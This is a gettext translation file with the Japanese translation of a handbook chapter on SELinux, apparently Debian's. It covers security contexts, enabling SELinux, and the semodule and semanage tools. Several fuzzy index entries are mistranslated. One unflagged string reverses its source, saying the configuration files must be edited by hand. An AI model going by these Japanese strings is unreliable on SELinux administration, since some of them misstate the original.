# Checked-By: Ryuunosuke Ayanokouzi;
msgid "SELinux uses a set of rules — collectively known as a policy — to authorize or forbid operations. Those rules are difficult to create. Fortunately, two standard policies (targeted and strict) are provided to avoid the bulk of the configuration work."
msgstr "SELinux はまとめてポリシーとして知られているルール群を使い、操作を許可したり禁止したりします。これらのルールの作成は難しいです。幸いなことに、設定作業の大部分を避けるために 2 種類の標準的なポリシー (targeted と strict) が提供されています。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "packetIP"
msgid "securitycontext"
msgstr "パケットIP パケット"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "packetIP"
msgid "securityrole"
msgstr "パケットIP パケット"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "packetIP"
msgid "securitydomain"
msgstr "パケットIP パケット"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "With SELinux, the management of rights is completely different from traditional Unix systems. The rights of a process depend on its security context. The context is defined by the identity of the user who started the process, the role and the domain that the user carried at that time. The rights really depend on the domain, but the transitions between domains are controlled by the roles. Finally, the possible transitions between roles depend on the identity."
msgstr "SELinux を使うと、権限管理が伝統的な Unix システムとは全く違ったものになります。プロセスの権限は SELinux のセキュリティコンテキストに依存します。SELinux のセキュリティコンテキストはプロセスを開始したユーザの SELinux ユーザ名、SELinux ロール、ユーザがプロセス開始時点で持っていた SELinux ドメインによって定義されます。正しく言えばプロセスの権限は SELinux ドメインに依存しますが、SELinux ドメイン間の遷移は SELinux ロールによって制御されます。最後に SELinux ロール間の遷移の可否は SELinux ユーザ名に依存します。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Security contexts and Unix users"
msgstr "セキュリティコンテキストと Unix ログイン名"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: man 1 newrole;
# Tag: L-CFMD;
#, fuzzy
#| msgid "In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call newrole -r role_r -t domain_t (there's usually only a single domain allowed for a given role, the -t parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy."
msgid "In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call newrole -r role_r -t domain_t (there is usually only a single domain allowed for a given role, the -t parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy."
msgstr "具体的に言えば、ログイン時にユーザはデフォルトのセキュリティコンテキストを割り当てられます (セキュリティコンテキストはユーザに与える SELinux ロールに依存します)。セキュリティコンテキストは現在の SELinux ドメインを定義し、ここで定義された SELinux ドメインが新しい子プロセスに割り当てられます。ユーザが現在の SELinux ロールと SELinux ロールに対応する SELinux ドメインを変更したい場合、newrole -r role_r -t domain_t を実行しなければいけません (通常 SELinux ロールと SELinux ドメインは一対一に対応しているため、-t パラメータは省略されることが多いです)。newrole コマンドはユーザに自分のパスワードを入力させることで認証を行います。この機能のおかげで、プログラムが自動的に SELinux ロールを切り替えることを禁止できます。SELinux ロールの変更を行えるのは、ユーザが SELinux ポリシーに基づいて SELinux ロールの変更を許可されている場合に限ります。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Obviously the rights do not apply to all objects (files, directories, sockets, devices, etc.). They can vary from object to object. To achieve this, each object is associated to a type (this is known as labeling). Domains' rights are thus expressed with sets of (dis)allowed operations on those types (and, indirectly, on all objects which are labeled with the given type)."
msgstr "権限がすべてのオブジェクト (ファイル、ディレクトリ、ソケット、デバイスなど) に適用されないのは明らかです。権限はオブジェクトによって異なります。これを実現するために、それぞれのオブジェクトは SELinux タイプ と結び付けられています (これをラベリングと呼びます)。このため SELinux ドメインの権限はオブジェクトの SELinux タイプ (および、与えられた SELinux タイプによって間接的にラベリングされたすべてのオブジェクト) に対する一連の許可された (されていない) 操作を使って表現されます。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "EXTRA Domains and types are equivalent"
msgstr "EXTRA SELinux ドメインと SELinux タイプは同じ"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "Internally, a domain is just a type, but a type that only applies to processes. That's why domains are suffixed with _t just like objects' types."
msgid "Internally, a domain is just a type, but a type that only applies to processes. That is why domains are suffixed with _t just like objects' types."
msgstr "内部的なことを言えば、SELinux ドメインは SELinux タイプに過ぎません。しかし SELinux タイプはプロセスにのみ適用されます。このため、SELinux ドメインはオブジェクトの SELinux タイプと同様に _t を末尾に付けられています。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "By default, a program inherits its domain from the user who started it, but the standard SELinux policies expect many important programs to run in dedicated domains. To achieve this, those executables are labeled with a dedicated type (for example ssh is labeled with ssh_exec_t, and when the program starts, it automatically switches to the ssh_t domain). This automatic domain transition mechanism makes it possible to grant only the rights required by each program. It is a fundamental principle of SELinux."
msgstr "デフォルトで、プログラムはプログラムを起動したユーザに割り当てられた SELinux ドメインを継承しますが、標準的な SELinux のポリシーは多くの重要なプログラムが専用の SELinux ドメインで実行されることを要求しています。これを成し遂げるために、重要なプログラムの実行ファイルは専用の SELinux タイプでラベリングされています (たとえば、ssh は ssh_exec_t でラベリングされています。ssh プログラムが起動すると ssh プログラムは ssh_t SELinux ドメインに自動的に切り替わります)。この自動 SELinux ドメイン遷移メカニズムによって、それぞれのプログラムに対して必要な権限だけを認めることが可能です。これが SELinux の基本原則です。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Automatic transitions between domains"
msgstr "SELinux ドメイン間の自動遷移"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "IN PRACTICE Finding the security context"
msgstr "IN PRACTICE セキュリティコンテキストの検索"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "context, security context"
msgstr "コンテキスト、セキュリティコンテキスト"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "MD5"
msgid "MCS"
msgstr "MD5"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "MCS (Multi-Category Security)"
msgid "Multi-Category SecurityMCS"
msgstr "MCS (Multi-Category Security)"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "To find the current security context in a shell, you should call id -Z."
msgstr "シェルから現在のセキュリティコンテキストを表示するには、id -Z を実行するべきです。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid ""
#| "$ id -Z\n"
#| "unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023"
msgid ""
"$ id -Z\n"
"unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023"
msgstr ""
"$ id -Z\n"
"unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023"
msgid "If you receive a message saying id: --context (-Z) works only on an SELinux-enabled kernel instead, then you need to enable SELinux first by running selinux-activate and rebooting."
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "SELinux"
msgid "selinux-activate"
msgstr "SELinux"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "To find the security context of a given process, you should use the Z option of ps."
msgstr "あるプロセスのセキュリティコンテキストを表示するには、ps の Z オプションを使うべきです。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid ""
#| "$ ps axZ | grep vstfpd\n"
#| "system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd"
msgid ""
"$ ps axZ | grep vstfpd\n"
"system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd"
msgstr ""
"$ ps axZ | grep vstfpd\n"
"system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "The first field contains the identity, the role, the domain and the MCS level, separated by colons. The MCS level (Multi-Category Security) is a parameter that intervenes in the setup of a confidentiality protection policy, which regulates the access to files based on their sensitivity. This feature will not be explained in this book."
msgstr "最初のフィールドをコロンで区切ると、SELinux ユーザ名、SELinux ロール、SELinux ドメイン、MCS レベルの情報がわかります。MCS レベル (Multi-Category Security) は機密性保護ポリシーのセットアップに干渉するパラメータで、ファイルの重要性に基づいてファイルへのアクセスを管理するものです。本書では MCS の機能を説明しません。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Finally, to find the type assigned to a file, you can use ls -Z."
msgstr "最後に、ファイルに割り当てられた SELinux タイプを表示するには ls -Z を使います。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid ""
#| "$ ls -Z test /usr/bin/ssh\n"
#| "unconfined_u:object_r:user_home_t:s0 test\n"
#| " system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh"
msgid ""
"$ ls -Z test /usr/bin/ssh\n"
"unconfined_u:object_r:user_home_t:s0 test\n"
"system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh\n"
""
msgstr ""
"$ ls -Z test /usr/bin/ssh\n"
"unconfined_u:object_r:user_home_t:s0 test\n"
" system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "It is worth noting that the identity and role assigned to a file bear no special importance (they are never used), but for the sake of uniformity, all objects get assigned a complete security context."
msgstr "ファイルに割り当てられた SELinux ユーザ名と SELinux ロールには特別な重要性がない (一切使われない) 点は注目に値しますが、統一性を保つ目的ですべてのオブジェクトは完全なセキュリティコンテキストを割り当てられています。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: https://wiki.debian.org/SELinux/Setup;
msgid "Setting Up SELinux"
msgstr "SELinux のセットアップ"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "SELinux support is built into the standard kernels provided by Debian. The core Unix tools support SELinux without any modifications. It is thus relatively easy to enable SELinux."
msgstr "SELinux のサポートは Debian の提供する標準的なカーネルに組み込まれています。コア Unix ツールは SELinux をサポートしており、修正は必要ありません。このため、SELinux を有効化することは比較的簡単です。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "The apt install selinux-basics selinux-policy-default command will automatically install the packages required to configure an SELinux system."
msgid "The apt install selinux-basics selinux-policy-defaulti auditd command will automatically install the packages required to configure an SELinux system."
msgstr "apt install selinux-basics selinux-policy-default コマンドで、SELinux システムを設定するために必要なパッケージが自動的にインストールされます。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: https://packages.debian.org/sid/selinux-policy-default;
msgid "The selinux-policy-default package contains a set of standard rules. By default, this policy only restricts access for a few widely exposed services. The user sessions are not restricted and it is thus unlikely that SELinux would block legitimate user operations. However, this does enhance the security of system services running on the machine. To setup a policy equivalent to the old “strict” rules, you just have to disable the unconfined module (modules management is detailed further in this section)."
msgstr "selinux-policy-default パッケージには、標準的なルールが含まれています。デフォルトで、このポリシーは広範囲にわたって提供されるサービスへのアクセスを制限するだけです。ユーザセッションは制限されませんから、SELinux が正当なユーザ操作を妨害することはほとんどありません。しかしながら、このポリシーはマシンで実行されているシステムサービスのセキュリティを強化します。古い「strict」ルールと同じポリシーをセットアップするには、unconfined モジュールを無効化しなければいけません (モジュール管理に関してはこの節でさらに詳しく説明しています)。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Once the policy has been installed, you should label all the available files (which means assigning them a type). This operation must be manually started with fixfiles relabel."
msgstr "selinux-policy-default パッケージをインストールしたら、すべての利用できるファイルをラベリングするべきです (これはファイルに SELinux タイプを割り当てることを意味します)。この操作は fixfiles relabel を使って手作業で開始しなければいけません。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "logsmonitoring"
msgid "kernelselinux"
msgstr "ログ監視"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "bufferreceive buffer"
msgid "kernelsecurity"
msgstr "バッファ受信バッファ"
#, fuzzy
#| msgid "logsdisplay"
msgid "kernelaudit"
msgstr "ログ表示"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "logsmonitoring"
msgid "kernelenforcing"
msgstr "ログ監視"
#, fuzzy
#| msgid "logsdisplay"
msgid "SELinuxkernel parameters"
msgstr "ログ表示"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: https://wiki.debian.org/SELinux/Setup;
# Tag: PTAL;
msgid "The SELinux system is now ready. To enable it, you should add the selinux=1 security=selinux parameter to the Linux kernel. The audit=1 parameter enables SELinux logging which records all the denied operations. Finally, the enforcing=1 parameter brings the rules into application: without it SELinux works in its default permissive mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the GRUB_CMDLINE_LINUX variable in /etc/default/grub and to run update-grub. SELinux will be active after a reboot."
msgstr "これで SELinux システムの準備が整いました。SELinux を有効化するには、selinux=1 security=selinux パラメータを Linux カーネルに追加する必要があります。audit=1 パラメータを指定した場合、SELinux のログ記録が有効化され、すべての拒否された操作が記録されます。最後に enforcing=1 パラメータを指定した場合、ルールをアプリケーションに強制します。enforcing=1 パラメータを指定しなかった場合、SELinux はデフォルトの permissive モードで動作します。permissive モードの場合、拒否された操作はログ記録され、実行されます。このため、GRUB ブートローダ設定ファイルを変更して必要なパラメータを追加するべきです。これを簡単に行うには、/etc/default/grub の中の GRUB_CMDLINE_LINUX 変数に必要なパラメータを追加し、update-grub を実行します。SELinux は再起動後に動作状態になります。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "semanage"
msgid "selinux-activate"
msgstr "semanage"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "monitoringactivity"
msgid "SELinuxactivate"
msgstr "監視活動"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "It is worth noting that the selinux-activate script automates those operations and forces a labeling on next boot (which avoids new non-labeled files created while SELinux was not yet active and while the labeling was going on)."
msgstr "selinux-activate スクリプトを使うことで、GRUB ブートローダ設定ファイルに対する変更操作が自動化され、次回起動時にラベリングが強制されます (強制的にラベリングすることで SELinux がまだ動作していなかった時とラベリングの実行中にラベリングされていないファイルが新しく作成されることを避けることが可能です)。この点は注目に値します。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Managing an SELinux System"
msgstr "SELinux システムの管理"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "semodule"
msgstr "semodule"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "semanage"
msgstr "semanage"
#, fuzzy
#| msgid "logsdisplay"
msgid "SELinuxrules"
msgstr "ログ表示"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "The SELinux policy is a modular set of rules, and its installation detects and enables automatically all the relevant modules based on the already installed services. The system is thus immediately operational. However, when a service is installed after the SELinux policy, you must be able to manually enable the corresponding module. That is the purpose of the semodule command. Furthermore, you must be able to define the roles that each user can endorse, and this can be done with the semanage command."
msgstr "selinux-policy-default パッケージに含まれる SELinux ポリシーはモジュール式のルール群で、selinux-policy-default パッケージはインストール時にインストール済みのサービスに基づいて対応するモジュールを自動的に検出して有効化します。そのため、システムは SELinux ポリシーをすぐに利用できるようになります。しかしながら、SELinux ポリシーを設定した後にサービスをインストールした場合、対応するモジュールを手作業で有効化する必要があります。これを行うのが semodule コマンドです。さらに、管理者はそれぞれのユーザに与える SELinux ロールを定義する能力を持っていなければいけません。これは semanage を使って行います。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "Those two commands can thus be used to modify the current SELinux configuration, which is stored in /etc/selinux/default/. Unlike other configuration files that you can find in /etc/, all those files must not be changed by hand. You should use the programs designed for this purpose."
msgstr "このため semodule と semanage コマンドは /etc/selinux/default/ に保存されている現在の SELinux 設定を変更するために使われます。/etc/ に配置されている SELinux 以外の設定ファイルと異なり、SELinux の設定ファイルはすべて手作業で修正されなければいけません。管理者は SELinux 設定ファイルを編集するために設計されたプログラムを使うべきです。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "bufferreceive buffer"
msgid "/etc/etc/selinux/default/"
msgstr "バッファ受信バッファ"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "GOING FURTHER More documentation"
msgstr "GOING FURTHER 追加的文書"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution. "
msgid "Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution. "
msgstr "NSA は SELinux に関する公式の文書を提供していないので、それを埋め合わせるためにコミュニティが wiki を設置しています。wiki には多くの情報が寄せ集められていますが、多くの SELinux 貢献者が Fedora ユーザである点に気が付くでしょう (Fedora は SELinux をデフォルトで有効化しています)。そのため、wiki の文書は Fedora の問題の対処に特化しています。"
msgid "You should also have a look at the dedicated Debian wiki page. "
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Managing SELinux Modules"
msgstr "SELinux モジュールの管理"
#, fuzzy
#| msgid "logsdisplay"
msgid "SELinuxmodules"
msgstr "ログ表示"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
# Ref: $ man 8 semodule;
msgid "Available SELinux modules are stored in the /usr/share/selinux/default/ directory. To enable one of these modules in the current configuration, you should use semodule -i module.pp.bz2. The pp.bz2 extension stands for policy package (compressed with bzip2)."
msgstr "利用できる SELinux モジュールは /usr/share/selinux/default/ ディレクトリに保存されています。現在の設定の中で SELinux モジュールの 1 つをインストールするには、semodule -i module.pp.bz2 を使うべきです。pp.bz2 拡張子は bzip2 で圧縮されたポリシーパッケージを意味しています。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
# Ref: $ man 8 semodule;
msgid "Removing a module from the current configuration is done with semodule -r module. Finally, the semodule -l command lists the modules which are currently installed. It also outputs their version numbers. Modules can be selectively enabled with semodule -e and disabled with semodule -d."
msgstr "現在の設定からモジュールを削除するには semodule -r module を使います。最後に、semodule -l コマンドは現在インストールされているモジュールとそのバージョンをリストします。モジュールを選択的に有効化するには semodule -e、無効化するには semodule -d を使います。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
# Ref: $ man 8 semodule;
#, fuzzy
#| msgid ""
#| "# semodule -i /usr/share/selinux/default/abrt.pp.bz2\n"
#| "# semodule -l\n"
#| "abrt 1.5.0 Disabled\n"
#| "accountsd 1.1.0 \n"
#| "acct 1.6.0 \n"
#| "[...]\n"
#| "# semodule -e abrt\n"
#| "# semodule -d accountsd\n"
#| "# semodule -l\n"
#| "abrt 1.5.0\n"
#| "accountsd 1.1.0 Disabled\n"
#| "acct 1.6.0 \n"
#| "[...]\n"
#| "# semodule -r abrt\n"
#| "# semodule -l\n"
#| "accountsd 1.1.0 Disabled\n"
#| "acct 1.6.0 \n"
#| "[...]"
msgid ""
"# semodule -i /usr/share/selinux/default/abrt.pp.bz2\n"
"libsemanage.semanage_direct_install_info: abrt module will be disabled after install as there is a disabled instance of this module present in the system.\n"
"# semodule -l\n"
"accountsd\n"
"acct\n"
"[...]\n"
"# semodule -e abrt\n"
"# semodule -d accountsd\n"
"# semodule -l\n"
"abrt\n"
"acct\n"
"[...]\n"
"# semodule -r abrt\n"
"libsemanage.semanage_direct_remove_key: abrt module at priority 100 is now active."
msgstr ""
"# semodule -i /usr/share/selinux/default/abrt.pp.bz2\n"
"# semodule -l\n"
"abrt 1.5.0 Disabled\n"
"accountsd 1.1.0 \n"
"acct 1.6.0 \n"
"[...]\n"
"# semodule -e abrt\n"
"# semodule -d accountsd\n"
"# semodule -l\n"
"abrt 1.5.0\n"
"accountsd 1.1.0 Disabled\n"
"acct 1.6.0 \n"
"[...]\n"
"# semodule -r abrt\n"
"# semodule -l\n"
"accountsd 1.1.0 Disabled\n"
"acct 1.6.0 \n"
"[...]"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
# Ref: $ man 8 semodule;
# Ref: $ man 8 selinux;
# Ref: $ man 5 selinux_config;
msgid "semodule immediately loads the new configuration unless you use its -n option. It is worth noting that the program acts by default on the current configuration (which is indicated by the SELINUXTYPE variable in /etc/selinux/config), but that you can modify another one by specifying it with the -s option."
msgstr "semodule は -n オプションを付けない限り、すぐさま新しい設定を読み込みます。semodule プログラムがデフォルトで現在の設定に対して操作を行う点は注目に値します (現在の設定は /etc/selinux/config 内の SELINUXTYPE 変数によって表されます)。しかし -s オプションを使えば、他の設定に対して操作を行うことも可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "monitoringlog files"
msgid "/etc/etc/selinux/config"
msgstr "監視ログファイル"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Managing Identities"
msgstr "ユーザの身元管理"
#, fuzzy
#| msgid "logsdisplay"
msgid "SELinuxidentity"
msgstr "ログ表示"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "Every time that a user logs in, they get assigned an SELinux identity. This identity defines the roles that they will be able to endorse. Those two mappings (from the user to the identity and from this identity to roles) are configurable with the semanage command."
msgstr "ユーザはログイン時に毎回、SELinux ユーザ名を割り当てられます。SELinux ユーザ名はユーザに与える SELinux ロールを定義します。semanage コマンドを使えば、2 種類 (Unix ログイン名から SELinux ユーザ名へ、SELinux ユーザ名から SELinux ロールへ) の対応付けを設定することが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 semanage;
# Ref: $ man 8 semanage-login;
# Ref: $ man 8 semanage-user;
# Tag: L-CFMD;
# Tag: PTAL;
#, fuzzy
#| msgid "You should definitely read the semanage8 manual page, even if the command's syntax tends to be similar for all the concepts which are managed. You will find common options to all sub-commands: -a to add, -d to delete, -m to modify, -l to list, and -t to indicate a type (or domain)."
msgid "You should definitely read the semanage 8 manual page. All the managed concepts have their own manual page; for instance, semanage-login 8. Even if the command's syntax tends to be similar for all the concepts which are managed, it is recommended to read its manual page. You will find common options to most subcommands: -a to add, -d to delete, -m to modify, -l to list, and -t to indicate a type (or domain)."
msgstr "semanage コマンドはサブコマンドごとに管理する要素が決められています。サブコマンドの構文はすべてのサブコマンド間で類似しているとは言うものの、管理者は semanage8 マニュアルページを読むべきです。すべてのサブコマンドに対して共通のオプションが存在します。たとえば -a は追加、-d は削除、-m は修正、-l はリスト、-t は SELinux タイプ (または SELinux ドメイン) の指定を表します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 semanage-login;
# Tag: L-CFMD;
msgid "semanage login -l lists the current mapping between user identifiers and SELinux identities. Users that have no explicit entry get the identity indicated in the __default__ entry. The semanage login -a -s user_u user command will associate the user_u identity to the given user. Finally, semanage login -d user drops the mapping entry assigned to this user."
msgstr "semanage login -l は Unix ログイン名と SELinux ユーザ名の現在の対応付けをリストします。明確なエントリを設定されていない Unix ログイン名を持つユーザは __default__ という Unix ログイン名に対応する SELinux ユーザ名を割り当てられます。semanage login -a -s user_u user コマンドを使うことで、user で指定した Unix ログイン名を持つユーザに user_u で指定した SELinux ユーザ名を割り当てます。最後に、semanage login -d user は user で指定した Unix ログイン名を持つユーザに関連付けられたエントリを削除します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 semanage-login;
# Tag: L-CFMD;
#, fuzzy
#| msgid ""
#| "# semanage login -a -s user_u rhertzog\n"
#| "# semanage login -l\n"
#| "\n"
#| "Login Name SELinux User MLS/MCS Range Service\n"
#| "\n"
#| "__default__ unconfined_u SystemLow-SystemHigh *\n"
#| "rhertzog user_u SystemLow *\n"
#| "root unconfined_u SystemLow-SystemHigh *\n"
#| "system_u system_u SystemLow-SystemHigh *\n"
#| "# semanage login -d rhertzog "
msgid ""
"# semanage login -a -s user_u rhertzog\n"
"# semanage login -l\n"
"\n"
"Login Name SELinux User MLS/MCS Range Service\n"
"\n"
"__default__ unconfined_u s0-s0:c0.c1023 *\n"
"rhertzog user_u s0 *\n"
"root unconfined_u s0-s0:c0.c1023 *\n"
"# semanage login -d rhertzog\n"
""
msgstr ""
"# semanage login -a -s user_u rhertzog\n"
"# semanage login -l\n"
"\n"
"ログイン名 SELinux ユーザー MLS/MCS 範囲 サービス\n"
"\n"
"__default__ unconfined_u SystemLow-SystemHigh *\n"
"rhertzog user_u SystemLow *\n"
"root unconfined_u SystemLow-SystemHigh *\n"
"system_u system_u SystemLow-SystemHigh *\n"
"# semanage login -d rhertzog "
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 semanage-user;
# Tag: L-CFMD;
msgid "semanage user -l lists the mapping between SELinux user identities and allowed roles. Adding a new identity requires to define both the corresponding roles and a labeling prefix which is used to assign a type to personal files (/home/user/*). The prefix must be picked among user, staff, and sysadm. The “staff” prefix results in files of type “staff_home_dir_t”. Creating a new SELinux user identity is done with semanage user -a -R roles -P prefix identity. Finally, you can remove an SELinux user identity with semanage user -d identity."
msgstr "semanage user -l は SELinux ユーザ名と許可された SELinux ロールの対応付けをリストします。新しい SELinux ユーザ名を追加する場合、SELinux ユーザ名に対応する SELinux ロールと、個人ファイル (/home/user/*) に SELinux タイプを割り当てるために使われるラベリングプレフィックスが必要になります。このプレフィックスは user、staff、sysadm のどれか 1 つを選ばなければいけません。「staff」プレフィックスを選んだ場合、ファイルの SELinux タイプは「staff_home_dir_t」になります。新しい SELinux ユーザ名を作成するには semanage user -a -R roles -P prefix identity を使います。最後に、SELinux ユーザ名を削除するには semanage user -d identity を使います。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 semanage-user;
# Tag: L-CFMD;
#, fuzzy
#| msgid ""
#| "# semanage user -a -R 'staff_r user_r' -P staff test_u\n"
#| "# semanage user -l\n"
#| "\n"
#| " Labeling MLS/ MLS/ \n"
#| "SELinux User Prefix MCS Level MCS Range SELinux Roles\n"
#| "\n"
#| "root sysadm SystemLow SystemLow-SystemHigh staff_r sysadm_r system_r\n"
#| "staff_u staff SystemLow SystemLow-SystemHigh staff_r sysadm_r\n"
#| "sysadm_u sysadm SystemLow SystemLow-SystemHigh sysadm_r\n"
#| "system_u user SystemLow SystemLow-SystemHigh system_r\n"
#| "test_u staff SystemLow SystemLow staff_r user_r\n"
#| "unconfined_u unconfined SystemLow SystemLow-SystemHigh system_r unconfined_r\n"
#| "user_u user SystemLow SystemLow user_r\n"
#| "# semanage user -d test_u"
msgid ""
"# semanage user -a -R 'staff_r user_r' -P staff test_u\n"
"# semanage user -l\n"
"\n"
" Labeling MLS/ MLS/ \n"
"SELinux User Prefix MCS Level MCS Range SELinux Roles\n"
"\n"
"root sysadm s0 s0-s0:c0.c1023 staff_r sysadm_r system_r\n"
"staff_u staff s0 s0-s0:c0.c1023 staff_r sysadm_r\n"
"sysadm_u sysadm s0 s0-s0:c0.c1023 sysadm_r\n"
"system_u user s0 s0-s0:c0.c1023 system_r\n"
"test_u staff s0 s0 staff_r user_r\n"
"unconfined_u unconfined s0 s0-s0:c0.c1023 system_r unconfined_r\n"
"user_u user s0 s0 user_r\n"
"# semanage user -d test_u\n"
""
msgstr ""
"# semanage user -a -R 'staff_r user_r' -P staff test_u\n"
"# semanage user -l\n"
"\n"
" ラベリング MLS/ MLS/\n"
"SELinux ユーザー プレフィックス MCS レベル MCS 範囲 SELinux ロール\n"
"\n"
"root sysadm SystemLow SystemLow-SystemHigh staff_r sysadm_r system_r\n"
"staff_u staff SystemLow SystemLow-SystemHigh staff_r sysadm_r\n"
"sysadm_u sysadm SystemLow SystemLow-SystemHigh sysadm_r\n"
"system_u user SystemLow SystemLow-SystemHigh system_r\n"
"test_u staff SystemLow SystemLow staff_r user_r\n"
"unconfined_u unconfined SystemLow SystemLow-SystemHigh system_r unconfined_r\n"
"user_u user SystemLow SystemLow user_r\n"
"# semanage user -d test_u"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Managing File Contexts, Ports and Booleans"
msgstr "ファイルコンテキスト、ポート、ブール値の管理"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "snort"
msgid "restorecon"
msgstr "snort"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 semanage-fcontext;
# Ref: $ man 8 restorecon;
# Tag: L-CFMD;
msgid "Each SELinux module provides a set of file labeling rules, but it is also possible to add custom labeling rules to cater to a specific case. For example, if you want the web server to be able to read files within the /srv/www/ file hierarchy, you could execute semanage fcontext -a -t httpd_sys_content_t \"/srv/www(/.*)?\" followed by restorecon -R /srv/www/. The former command registers the new labeling rules and the latter resets the file types according to the current labeling rules."
msgstr "各 SELinux モジュールにはファイルラベリングルール群が含まれますが、特別な場合に応じてラベリングルールをカスタマイズすることも可能です。たとえば、ウェブサーバに /srv/www/ ファイル階層内のファイルを読むことを許可する場合、semanage fcontext -a -t httpd_sys_content_t \"/srv/www(/.*)?\" を実行し、その後 restorecon -R /srv/www/ を実行します。semanage fcontext -a で新しいラベリングルールを登録し、restorecon で現在のラベリングルールに基づいてファイルの SELinux タイプを再設定します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 semanage-port;
# Tag: L-CFMD;
msgid "Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want the web server to be able to listen on port 8080, you should run semanage port -m -t http_port_t -p tcp 8080."
